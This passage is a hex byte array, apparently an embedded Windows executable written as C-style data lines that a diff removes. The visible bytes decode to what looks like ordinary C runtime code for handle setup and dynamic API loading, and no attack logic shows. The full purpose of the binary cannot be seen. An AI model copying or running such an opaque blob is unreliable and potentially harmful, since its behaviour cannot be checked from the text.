0xd7, - 0x4c, 0x03, 0xc1, 0x48, 0x8b, 0xcb, 0x4f, 0x8b, 0x04, 0xc1, 0xe8, 0xe1, - 0xe1, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x85, 0xc2, 0x01, 0x00, 0x00, 0x45, - 0x33, 0xc0, 0x41, 0x8b, 0xc0, 0xe9, 0x9c, 0x01, 0x00, 0x00, 0x49, 0x8b, - 0xd0, 0x41, 0x80, 0xe0, 0x20, 0x48, 0xc1, 0xea, 0x04, 0x83, 0xe2, 0x01, - 0x83, 0xca, 0x02, 0x41, 0xf6, 0xd8, 0x1b, 0xf6, 0x23, 0xb4, 0x24, 0xb8, - 0x00, 0x00, 0x00, 0x83, 0xe9, 0x41, 0x0f, 0x84, 0x3b, 0x01, 0x00, 0x00, - 0x83, 0xe9, 0x04, 0x0f, 0x84, 0xf5, 0x00, 0x00, 0x00, 0x83, 0xe9, 0x01, - 0x74, 0x5c, 0x83, 0xe9, 0x01, 0x74, 0x17, 0x83, 0xe9, 0x1a, 0x0f, 0x84, - 0x1f, 0x01, 0x00, 0x00, 0x83, 0xe9, 0x04, 0x0f, 0x84, 0xd9, 0x00, 0x00, - 0x00, 0x83, 0xf9, 0x01, 0x74, 0x40, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, - 0x00, 0x00, 0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x44, 0x24, 0x48, 0x49, 0x8b, - 0xce, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x40, - 0x89, 0x54, 0x24, 0x38, 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, - 0x89, 0x44, 0x24, 0x28, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, - 0xe8, 0xab, 0xfb, 0xff, 0xff, 0xe9, 0x0c, 0x01, 0x00, 0x00, 0x8b, 0xac, - 0x24, 0xa0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x49, 0x8b, - 0x0e, 0x0f, 0x57, 0xc0, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x8b, 0xd5, 0x4d, - 0x8b, 0xca, 0x0f, 0x11, 0x44, 0x24, 0x50, 0xe8, 0xb4, 0x3b, 0x00, 0x00, - 0x44, 0x8b, 0x44, 0x24, 0x54, 0x45, 0x33, 0xc9, 0x83, 0x7c, 0x24, 0x50, - 0x2d, 0x48, 0x8b, 0xd7, 0x89, 0x74, 0x24, 0x28, 0x41, 0x0f, 0x94, 0xc1, - 0x89, 0x44, 0x24, 0x20, 0x49, 0x2b, 0xd1, 0x44, 0x03, 0xc5, 0x49, 0x83, - 0xca, 0xff, 0x49, 0x3b, 0xfa, 0x49, 0x8d, 0x0c, 0x19, 0x48, 0x0f, 0x44, - 0xd7, 0x4c, 0x8d, 0x4c, 0x24, 0x50, 0xe8, 0xe5, 0x35, 0x00, 0x00, 0x85, - 0xc0, 0x74, 0x08, 0xc6, 0x03, 0x00, 0xe9, 0x9f, 0x00, 0x00, 0x00, 0x48, - 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x4c, 0x24, 0x50, - 0x48, 0x89, 0x44, 0x24, 0x28, 0x44, 0x8b, 0xc5, 0x48, 0x8b, 0xd7, 0xc6, - 0x44, 0x24, 0x20, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xf9, 0xff, 0xff, - 0xeb, 0x78, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, 0x8b, - 0xc7, 0x89, 0x74, 0x24, 0x48, 0x49, 0x8b, 0xce, 0x48, 0x89, 0x44, 0x24, - 0x40, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x54, 0x24, 0x38, - 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, 0x89, 0x44, 0x24, 0x28, - 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, 0xe8, 0xab, 0xf6, 0xff, - 0xff, 0xeb, 0x3b, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x4c, - 0x8b, 0xc7, 0x89, 0x74, 0x24, 0x48, 0x49, 0x8b, 0xce, 0x48, 0x89, 0x44, - 0x24, 0x40, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x89, 0x54, 0x24, - 0x38, 0x48, 0x8b, 0xd3, 0x44, 0x88, 0x5c, 0x24, 0x30, 0x89, 0x44, 0x24, - 0x28, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x4d, 0x8b, 0xca, 0xe8, 0xee, 0xf2, - 0xff, 0xff, 0x4c, 0x8d, 0x5c, 0x24, 0x60, 0x49, 0x8b, 0x5b, 0x10, 0x49, - 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b, 0x28, 0x49, - 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, - 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x1e, 0xea, - 0xff, 0xff, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x75, - 0x15, 0xe8, 0x0e, 0xeb, 0xff, 0xff, 0xc7, 0x00, 0x16, 0x00, 0x00, 0x00, - 0xe8, 0xe3, 0xe9, 0xff, 0xff, 0x83, 0xc8, 0xff, 0xeb, 0x03, 0x8b, 0x41, - 0x18, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x8b, 0x05, 0x41, - 0x61, 0x01, 0x00, 0x33, 0xdb, 0xbf, 0x03, 0x00, 0x00, 0x00, 0x85, 0xc0, - 0x75, 0x07, 0xb8, 0x00, 0x02, 0x00, 0x00, 0xeb, 0x05, 0x3b, 0xc7, 0x0f, - 0x4c, 0xc7, 0x48, 0x63, 0xc8, 0xba, 0x08, 0x00, 0x00, 0x00, 0x89, 0x05, - 0x1c, 0x61, 0x01, 0x00, 0xe8, 0x4b, 0x0c, 0x00, 0x00, 0x33, 0xc9, 0x48, - 0x89, 0x05, 0x16, 0x61, 0x01, 0x00, 0xe8, 0xbd, 0xea, 0xff, 0xff, 0x48, - 0x39, 0x1d, 0x0a, 0x61, 0x01, 0x00, 0x75, 0x2f, 0xba, 0x08, 0x00, 0x00, - 0x00, 0x89, 0x3d, 0xf5, 0x60, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0x21, - 0x0c, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x05, 0xec, 0x60, 0x01, 0x00, - 0xe8, 0x93, 0xea, 0xff, 0xff, 0x48, 0x39, 0x1d, 0xe0, 0x60, 0x01, 0x00, - 0x75, 0x05, 0x83, 0xc8, 0xff, 0xeb, 0x75, 0x48, 0x8b, 0xeb, 0x48, 0x8d, - 0x35, 0x27, 0x4d, 0x01, 0x00, 0x4c, 0x8d, 0x35, 0x08, 0x4d, 0x01, 0x00, - 0x49, 0x8d, 0x4e, 0x30, 0x45, 0x33, 0xc0, 0xba, 0xa0, 0x0f, 0x00, 0x00, - 0xe8, 0xaf, 0x07, 0x00, 0x00, 0x48, 0x8b, 0x05, 0xb0, 0x60, 0x01, 0x00, - 0x4c, 0x8d, 0x05, 0xd9, 0x60, 0x01, 0x00, 0x48, 0x8b, 0xd5, 0x48, 0xc1, - 0xfa, 0x06, 0x4c, 0x89, 0x34, 0x03, 0x48, 0x8b, 0xc5, 0x83, 0xe0, 0x3f, - 0x48, 0x8d, 0x0c, 0xc0, 0x49, 0x8b, 0x04, 0xd0, 0x48, 0x8b, 0x4c, 0xc8, - 0x28, 0x48, 0x83, 0xc1, 0x02, 0x48, 0x83, 0xf9, 0x02, 0x77, 0x06, 0xc7, - 0x06, 0xfe, 0xff, 0xff, 0xff, 0x48, 0xff, 0xc5, 0x49, 0x83, 0xc6, 0x58, - 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xc6, 0x58, 0x48, 0x83, 0xef, 0x01, - 0x75, 0x9e, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, - 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b, 0x7c, 0x24, 0x48, - 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0xe8, 0xe5, 0x2c, 0x00, 0x00, 0xe8, 0x24, 0x4c, 0x00, 0x00, - 0x33, 0xdb, 0x48, 0x8b, 0x0d, 0x2f, 0x60, 0x01, 0x00, 0x48, 0x8b, 0x0c, - 0x0b, 0xe8, 0xc6, 0x4c, 0x00, 0x00, 0x48, 0x8b, 0x05, 0x1f, 0x60, 0x01, - 0x00, 0x48, 0x8b, 0x0c, 0x03, 0x48, 0x83, 0xc1, 0x30, 0xff, 0x15, 0x61, - 0x9d, 0x00, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xfb, 0x18, 0x75, - 0xd1, 0x48, 0x8b, 0x0d, 0x00, 0x60, 0x01, 0x00, 0xe8, 0xa7, 0xe9, 0xff, - 0xff, 0x48, 0x83, 0x25, 0xf3, 0x5f, 0x01, 0x00, 0x00, 0x48, 0x83, 0xc4, - 0x20, 0x5b, 0xc3, 0xcc, 0x48, 0x83, 0xc1, 0x30, 0x48, 0xff, 0x25, 0x21, - 0x9d, 0x00, 0x00, 0xcc, 0x48, 0x83, 0xc1, 0x30, 0x48, 0xff, 0x25, 0x1d, - 0x9d, 0x00, 0x00, 0xcc, 0x48, 0x8b, 0x0d, 0xb5, 0x4b, 0x01, 0x00, 0x33, - 0xc0, 0x48, 0x83, 0xc9, 0x01, 0x48, 0x39, 0x0d, 0xc8, 0x5f, 0x01, 0x00, - 0x0f, 0x94, 0xc0, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x30, - 0x49, 0x8b, 0xf9, 0x8b, 0x0a, 0xe8, 0x1e, 0x0a, 0x00, 0x00, 0x90, 0x48, - 0x8d, 0x1d, 0xbe, 0x5f, 0x01, 0x00, 0x48, 0x8d, 0x35, 0xdf, 0x4c, 0x01, - 0x00, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x48, 0x8d, 0x05, 0xb3, 0x5f, 0x01, - 0x00, 0x48, 0x3b, 0xd8, 0x74, 0x19, 0x48, 0x39, 0x33, 0x74, 0x0e, 0x48, - 0x8b, 0xd6, 0x48, 0x8b, 0xcb, 0xe8, 0xc2, 0x2f, 0x00, 0x00, 0x48, 0x89, - 0x03, 0x48, 0x83, 0xc3, 0x08, 0xeb, 0xd6, 0x8b, 0x0f, 0xe8, 0x32, 0x0a, - 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, - 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0xb8, 0x01, 0x00, 0x00, - 0x00, 0x87, 0x05, 0x61, 0x5f, 0x01, 0x00, 0xc3, 0x4c, 0x8b, 0xdc, 0x48, - 0x83, 0xec, 0x28, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x4b, 0x10, - 0x4d, 0x8d, 0x43, 0x08, 0x89, 0x44, 0x24, 0x38, 0x49, 0x8d, 0x53, 0x18, - 0x89, 0x44, 0x24, 0x40, 0x49, 0x8d, 0x4b, 0x08, 0xe8, 0x5b, 0xff, 0xff, - 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x8d, 0x48, 0x88, 0xff, 0x15, 0xfa, 0x9b, 0x00, 0x00, 0x45, 0x33, - 0xf6, 0x66, 0x44, 0x39, 0x74, 0x24, 0x62, 0x0f, 0x84, 0x9a, 0x00, 0x00, - 0x00, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x8c, - 0x00, 0x00, 0x00, 0x48, 0x63, 0x18, 0x48, 0x8d, 0x70, 0x04, 0xbf, 0x00, - 0x20, 0x00, 0x00, 0x48, 0x03, 0xde, 0x39, 0x38, 0x0f, 0x4c, 0x38, 0x8b, - 0xcf, 0xe8, 0x52, 0x51, 0x00, 0x00, 0x3b, 0x3d, 0xdc, 0x62, 0x01, 0x00, - 0x0f, 0x4f, 0x3d, 0xd5, 0x62, 0x01, 0x00, 0x85, 0xff, 0x74, 0x60, 0x41, - 0x8b, 0xee, 0x48, 0x83, 0x3b, 0xff, 0x74, 0x47, 0x48, 0x83, 0x3b, 0xfe, - 0x74, 0x41, 0xf6, 0x06, 0x01, 0x74, 0x3c, 0xf6, 0x06, 0x08, 0x75, 0x0d, - 0x48, 0x8b, 0x0b, 0xff, 0x15, 0x4f, 0x9c, 0x00, 0x00, 0x85, 0xc0, 0x74, - 0x2a, 0x48, 0x8b, 0xc5, 0x4c, 0x8d, 0x05, 0xa1, 0x5e, 0x01, 0x00, 0x48, - 0x8b, 0xcd, 0x48, 0xc1, 0xf9, 0x06, 0x83, 0xe0, 0x3f, 0x49, 0x8b, 0x0c, - 0xc8, 0x48, 0x8d, 0x14, 0xc0, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x44, 0xd1, - 0x28, 0x8a, 0x06, 0x88, 0x44, 0xd1, 0x38, 0x48, 0xff, 0xc5, 0x48, 0xff, - 0xc6, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x83, 0xef, 0x01, 0x75, 0xa3, 0x4c, - 0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, - 0x8b, 0x6b, 0x18, 0x49, 0x8b, 0x73, 0x20, 0x49, 0x8b, 0x7b, 0x28, 0x49, - 0x8b, 0xe3, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, - 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, - 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x33, 0xf6, 0x45, - 0x33, 0xf6, 0x48, 0x63, 0xce, 0x48, 0x8d, 0x3d, 0x28, 0x5e, 0x01, 0x00, - 0x48, 0x8b, 0xc1, 0x83, 0xe1, 0x3f, 0x48, 0xc1, 0xf8, 0x06, 0x48, 0x8d, - 0x1c, 0xc9, 0x48, 0x8b, 0x3c, 0xc7, 0x48, 0x8b, 0x44, 0xdf, 0x28, 0x48, - 0x83, 0xc0, 0x02, 0x48, 0x83, 0xf8, 0x01, 0x76, 0x0a, 0x80, 0x4c, 0xdf, - 0x38, 0x80, 0xe9, 0x8f, 0x00, 0x00, 0x00, 0xc6, 0x44, 0xdf, 0x38, 0x81, - 0x8b, 0xce, 0x85, 0xf6, 0x74, 0x16, 0x83, 0xe9, 0x01, 0x74, 0x0a, 0x83, - 0xf9, 0x01, 0xb9, 0xf4, 0xff, 0xff, 0xff, 0xeb, 0x0c, 0xb9, 0xf5, 0xff, - 0xff, 0xff, 0xeb, 0x05, 0xb9, 0xf6, 0xff, 0xff, 0xff, 0xff, 0x15, 0x69, - 0x9b, 0x00, 0x00, 0x48, 0x8b, 0xe8, 0x48, 0x8d, 0x48, 0x01, 0x48, 0x83, - 0xf9, 0x01, 0x76, 0x0b, 0x48, 0x8b, 0xc8, 0xff, 0x15, 0x5b, 0x9b, 0x00, - 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x85, 0xc0, 0x74, 0x20, 0x0f, 0xb6, 0xc8, - 0x48, 0x89, 0x6c, 0xdf, 0x28, 0x83, 0xf9, 0x02, 0x75, 0x07, 0x80, 0x4c, - 0xdf, 0x38, 0x40, 0xeb, 0x31, 0x83, 0xf9, 0x03, 0x75, 0x2c, 0x80, 0x4c, - 0xdf, 0x38, 0x08, 0xeb, 0x25, 0x80, 0x4c, 0xdf, 0x38, 0x40, 0x48, 0xc7, - 0x44, 0xdf, 0x28, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x05, 0x4e, 0x5d, - 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x49, 0x8b, 0x04, 0x06, 0xc7, - 0x40, 0x18, 0xfe, 0xff, 0xff, 0xff, 0xff, 0xc6, 0x49, 0x83, 0xc6, 0x08, - 0x83, 0xfe, 0x03, 0x0f, 0x85, 0x2d, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, - 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, - 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, - 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, - 0x84, 0x07, 0x00, 0x00, 0x33, 0xdb, 0x33, 0xc9, 0xe8, 0x9b, 0x4f, 0x00, - 0x00, 0x85, 0xc0, 0x75, 0x0c, 0xe8, 0xe2, 0xfd, 0xff, 0xff, 0xe8, 0xcd, - 0xfe, 0xff, 0xff, 0xb3, 0x01, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, 0xb5, - 0x07, 0x00, 0x00, 0x8a, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x33, 0xdb, - 0x48, 0x8d, 0x3d, 0xf5, 0x5c, 0x01, 0x00, 0x48, 0x8b, 0x0c, 0x3b, 0x48, - 0x85, 0xc9, 0x74, 0x0a, 0xe8, 0x07, 0x4f, 0x00, 0x00, 0x48, 0x83, 0x24, - 0x3b, 0x00, 0x48, 0x83, 0xc3, 0x08, 0x48, 0x81, 0xfb, 0x00, 0x04, 0x00, - 0x00, 0x72, 0xd9, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0xb0, 0x01, 0x48, 0x83, - 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x44, 0x8b, 0xf9, 0x4c, - 0x8d, 0x35, 0x52, 0x78, 0xff, 0xff, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xe8, - 0x4c, 0x8b, 0xea, 0x4b, 0x8b, 0x8c, 0xfe, 0x00, 0xe9, 0x01, 0x00, 0x4c, - 0x8b, 0x15, 0x42, 0x48, 0x01, 0x00, 0x48, 0x83, 0xcf, 0xff, 0x41, 0x8b, - 0xc2, 0x49, 0x8b, 0xd2, 0x48, 0x33, 0xd1, 0x83, 0xe0, 0x3f, 0x8a, 0xc8, - 0x48, 0xd3, 0xca, 0x48, 0x3b, 0xd7, 0x0f, 0x84, 0x5b, 0x01, 0x00, 0x00, - 0x48, 0x85, 0xd2, 0x74, 0x08, 0x48, 0x8b, 0xc2, 0xe9, 0x50, 0x01, 0x00, - 0x00, 0x4d, 0x3b, 0xc4, 0x0f, 0x84, 0xd9, 0x00, 0x00, 0x00, 0x8b, 0x75, - 0x00, 0x49, 0x8b, 0x9c, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0x48, 0x85, 0xdb, - 0x74, 0x0e, 0x48, 0x3b, 0xdf, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, 0xe9, - 0xa2, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xb4, 0xf6, 0xc0, 0x41, 0x01, 0x00, - 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0xff, - 0x15, 0x7f, 0x99, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, - 0x4f, 0xff, 0x15, 0x11, 0x99, 0x00, 0x00, 0x83, 0xf8, 0x57, 0x75, 0x42, - 0x8d, 0x58, 0xb0, 0x49, 0x8b, 0xce, 0x44, 0x8b, 0xc3, 0x48, 0x8d, 0x15, - 0xe4, 0xa9, 0x00, 0x00, 0xe8, 0x8f, 0xdb, 0xff, 0xff, 0x85, 0xc0, 0x74, - 0x29, 0x44, 0x8b, 0xc3, 0x48, 0x8d, 0x15, 0x51, 0xbe, 0x00, 0x00, 0x49, - 0x8b, 0xce, 0xe8, 0x79, 0xdb, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x13, 0x45, - 0x33, 0xc0, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xff, 0x15, 0x2f, 0x99, 0x00, - 0x00, 0x48, 0x8b, 0xd8, 0xeb, 0x02, 0x33, 0xdb, 0x4c, 0x8d, 0x35, 0x71, - 0x77, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x75, 0x0d, 0x48, 0x8b, 0xc7, 0x49, - 0x87, 0x84, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0xeb, 0x1e, 0x48, 0x8b, 0xc3, - 0x49, 0x87, 0x84, 0xf6, 0x60, 0xe8, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, - 0x09, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xe6, 0x98, 0x00, 0x00, 0x48, 0x85, - 0xdb, 0x75, 0x55, 0x48, 0x83, 0xc5, 0x04, 0x49, 0x3b, 0xec, 0x0f, 0x85, - 0x2e, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0x15, 0x35, 0x47, 0x01, 0x00, 0x33, - 0xdb, 0x48, 0x85, 0xdb, 0x74, 0x4a, 0x49, 0x8b, 0xd5, 0x48, 0x8b, 0xcb, - 0xff, 0x15, 0xc2, 0x98, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x32, 0x4c, - 0x8b, 0x05, 0x16, 0x47, 0x01, 0x00, 0xba, 0x40, 0x00, 0x00, 0x00, 0x41, - 0x8b, 0xc8, 0x83, 0xe1, 0x3f, 0x2b, 0xd1, 0x8a, 0xca, 0x48, 0x8b, 0xd0, - 0x48, 0xd3, 0xca, 0x49, 0x33, 0xd0, 0x4b, 0x87, 0x94, 0xfe, 0x00, 0xe9, - 0x01, 0x00, 0xeb, 0x2d, 0x4c, 0x8b, 0x15, 0xed, 0x46, 0x01, 0x00, 0xeb, - 0xb8, 0x4c, 0x8b, 0x15, 0xe4, 0x46, 0x01, 0x00, 0x41, 0x8b, 0xc2, 0xb9, - 0x40, 0x00, 0x00, 0x00, 0x83, 0xe0, 0x3f, 0x2b, 0xc8, 0x48, 0xd3, 0xcf, - 0x49, 0x33, 0xfa, 0x4b, 0x87, 0xbc, 0xfe, 0x00, 0xe9, 0x01, 0x00, 0x33, - 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, - 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, - 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4c, 0x8d, 0x0d, 0xd0, 0xbd, 0x00, 0x00, - 0xb9, 0x1c, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x05, 0xc0, 0xbd, 0x00, 0x00, - 0x48, 0x8d, 0x15, 0xbd, 0xbd, 0x00, 0x00, 0xe8, 0x00, 0xfe, 0xff, 0xff, - 0x48, 0x85, 0xc0, 0x74, 0x16, 0x48, 0x8b, 0xd3, 0x48, 0xc7, 0xc1, 0xfa, - 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x65, - 0x99, 0x00, 0x00, 0xb8, 0x25, 0x02, 0x00, 0xc0, 0x48, 0x83, 0xc4, 0x20, - 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x4c, 0x8d, 0x0d, 0x11, - 0xbd, 0x00, 0x00, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 0x04, 0xbd, 0x00, 0x00, - 0x48, 0x8d, 0x15, 0x05, 0xbd, 0x00, 0x00, 0xe8, 0xb8, 0xfd, 0xff, 0xff, - 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x48, 0x83, 0xc4, 0x28, 0x48, 0xff, 0x25, - 0x28, 0x99, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, - 0x28, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0x4c, 0x8d, 0x0d, 0xec, 0xbc, 0x00, 0x00, 0xb9, 0x03, 0x00, 0x00, - 0x00, 0x4c, 0x8d, 0x05, 0xd8, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x41, - 0xa8, 0x00, 0x00, 0xe8, 0x74, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, - 0x0f, 0x48, 0x8b, 0xcb, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, - 0xe0, 0x98, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, - 0x4c, 0x97, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, - 0x4c, 0x8d, 0x0d, 0xad, 0xbc, 0x00, 0x00, 0xb9, 0x04, 0x00, 0x00, 0x00, - 0x4c, 0x8d, 0x05, 0x99, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x12, 0xa8, - 0x00, 0x00, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, - 0x74, 0x0c, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x9a, 0x98, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x1e, 0x97, - 0x00, 0x00, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, - 0x4c, 0x8d, 0x0d, 0x6d, 0xbc, 0x00, 0x00, 0xb9, 0x05, 0x00, 0x00, 0x00, - 0x4c, 0x8d, 0x05, 0x59, 0xbc, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xda, 0xa7, - 0x00, 0x00, 0xe8, 0xe5, 0xfc, 0xff, 0xff, 0x8b, 0xcb, 0x48, 0x85, 0xc0, - 0x74, 0x0c, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0x52, 0x98, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xc6, 0x96, - 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xda, 0x4c, 0x8d, 0x0d, 0x28, 0xbc, 0x00, 0x00, - 0x8b, 0xf9, 0x48, 0x8d, 0x15, 0xaf, 0xa7, 0x00, 0x00, 0xb9, 0x06, 0x00, - 0x00, 0x00, 0x4c, 0x8d, 0x05, 0x0b, 0xbc, 0x00, 0x00, 0xe8, 0x96, 0xfc, - 0xff, 0xff, 0x48, 0x8b, 0xd3, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x08, - 0xff, 0x15, 0x06, 0x98, 0x00, 0x00, 0xeb, 0x06, 0xff, 0x15, 0x86, 0x96, - 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, - 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x41, 0x8b, 0xf0, 0x4c, 0x8d, - 0x0d, 0xd7, 0xbb, 0x00, 0x00, 0x8b, 0xda, 0x4c, 0x8d, 0x05, 0xc6, 0xbb, - 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x48, 0x8d, 0x15, 0x64, 0xa7, 0x00, 0x00, - 0xb9, 0x12, 0x00, 0x00, 0x00, 0xe8, 0x3a, 0xfc, 0xff, 0xff, 0x8b, 0xd3, - 0x48, 0x8b, 0xcf, 0x48, 0x85, 0xc0, 0x74, 0x0b, 0x44, 0x8b, 0xc6, 0xff, - 